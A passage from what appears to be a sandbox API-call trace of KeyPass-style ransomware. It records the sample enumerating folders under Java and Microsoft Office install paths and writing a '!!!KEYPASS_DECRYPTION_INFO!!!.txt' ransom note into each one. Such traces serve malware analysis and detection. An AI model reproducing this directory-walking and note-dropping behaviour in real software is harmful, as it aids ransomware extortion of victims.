Files\\Java\\jre1.8.0_131\\lib\\jfr\\default.jfc") returned=".jfc" [0243.125] FindNextFileW (in: hFindFile=0x2e79198, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.125] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr\\profile.jfc") returned=".jfc" [0243.125] FindNextFileW (in: hFindFile=0x2e79198, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfr.jar") returned=".jar" [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jfxswt.jar") returned=".jar" [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jsse.jar") returned=".jar" [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\jvm.hprof.txt") returned=".txt" [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\logging.properties") returned=".properties" [0243.126] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.126] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.126] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.126] GetLastError () returned 0x3f0 [0243.126] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.126] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\management\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0243.154] GetFileType (hFile=0x594) returned 0x1 [0243.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.154] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.155] WriteFile (in: hFile=0x594, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.156] WriteFile (in: hFile=0x594, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.156] CloseHandle (hObject=0x594) returned 1 [0243.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e78fd8 [0243.156] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.156] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.156] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.156] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.156] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\jmxremote.access") returned=".access" [0243.156] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.156] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\jmxremote.password.template") returned=".template" [0243.157] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\management.properties") returned=".properties" [0243.157] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management\\snmp.acl.template") returned=".template" [0243.157] FindNextFileW (in: hFindFile=0x2e78fd8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\management-agent.jar") returned=".jar" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\meta-index") returned="" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\net.properties") returned=".properties" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\plugin.jar") returned=".jar" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\psfont.properties.ja") returned=".ja" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.157] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\psfontj2d.properties") returned=".properties" [0243.157] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.158] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\resources.jar") returned=".jar" [0243.158] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.158] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\rt.jar") returned=".jar" [0243.158] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.158] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.158] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.158] GetLastError () returned 0x3f0 [0243.158] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.158] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\lib\\security\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0243.186] GetFileType (hFile=0x598) returned 0x1 [0243.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.186] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.186] WriteFile (in: hFile=0x598, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.187] WriteFile (in: hFile=0x598, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.187] CloseHandle (hObject=0x598) returned 1 [0243.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e790d8 [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\blacklist") returned="" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\blacklisted.certs") returned=".certs" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\cacerts") returned="" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\java.policy") returned=".policy" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\java.security") returned=".security" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\javaws.policy") returned=".policy" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\local_policy.jar") returned=".jar" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\trusted.libraries") returned=".libraries" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\security\\US_export_policy.jar") returned=".jar" [0243.188] FindNextFileW (in: hFindFile=0x2e790d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.188] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.188] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\sound.properties") returned=".properties" [0243.189] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\tzdb.dat") returned=".dat" [0243.189] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\lib\\tzmappings") returned="" [0243.189] FindNextFileW (in: hFindFile=0x2e79118, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\LICENSE") returned="" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\README.txt") returned=".txt" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\release") returned="" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned=".txt" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\THIRDPARTYLICENSEREADME.txt") returned=".txt" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.189] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\Welcome.html") returned=".html" [0243.189] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0243.189] FindNextFileW (in: hFindFile=0x2e79298, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0243.189] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0243.189] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0243.189] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.189] GetLastError () returned 0x3f0 [0243.189] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.189] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0243.190] GetFileType (hFile=0x59c) returned 0x1 [0243.190] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0243.190] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0243.190] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0243.190] WriteFile (in: hFile=0x59c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0243.191] WriteFile (in: hFile=0x59c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0243.191] CloseHandle (hObject=0x59c) returned 1 [0243.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0x2e793d8 [0243.191] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.191] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.191] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned=".xml" [0243.191] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.191] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\expenditure-vincent-tablet.exe") returned=".exe" [0243.191] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.192] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned=".xml" [0243.192] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.192] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0243.192] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.192] GetLastError () returned 0x3f0 [0243.192] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.192] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\office16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a0 [0243.194] GetFileType (hFile=0x5a0) returned 0x1 [0243.194] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0243.194] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0243.194] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0243.194] WriteFile (in: hFile=0x5a0, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.195] WriteFile (in: hFile=0x5a0, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0243.195] CloseHandle (hObject=0x5a0) returned 1 [0243.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0x2e79518 [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned=".HTM" [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned=".VBS" [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned=".EXE" [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.195] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned=".XML" [0243.195] FindNextFileW (in: hFindFile=0x2e79518, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0243.195] FindNextFileW (in: hFindFile=0x2e793d8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0243.195] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0243.196] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.196] GetLastError () returned 0x3f0 [0243.196] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.196] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a8 [0243.574] GetFileType (hFile=0x5a8) returned 0x1 [0243.574] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0243.574] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0243.574] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0243.574] WriteFile (in: hFile=0x5a8, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.574] WriteFile (in: hFile=0x5a8, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0243.575] CloseHandle (hObject=0x5a8) returned 1 [0243.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0x2e79018 [0243.575] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.576] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.576] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.577] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned=".xml" [0243.577] FindNextFileW (in: hFindFile=0x2e79018, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 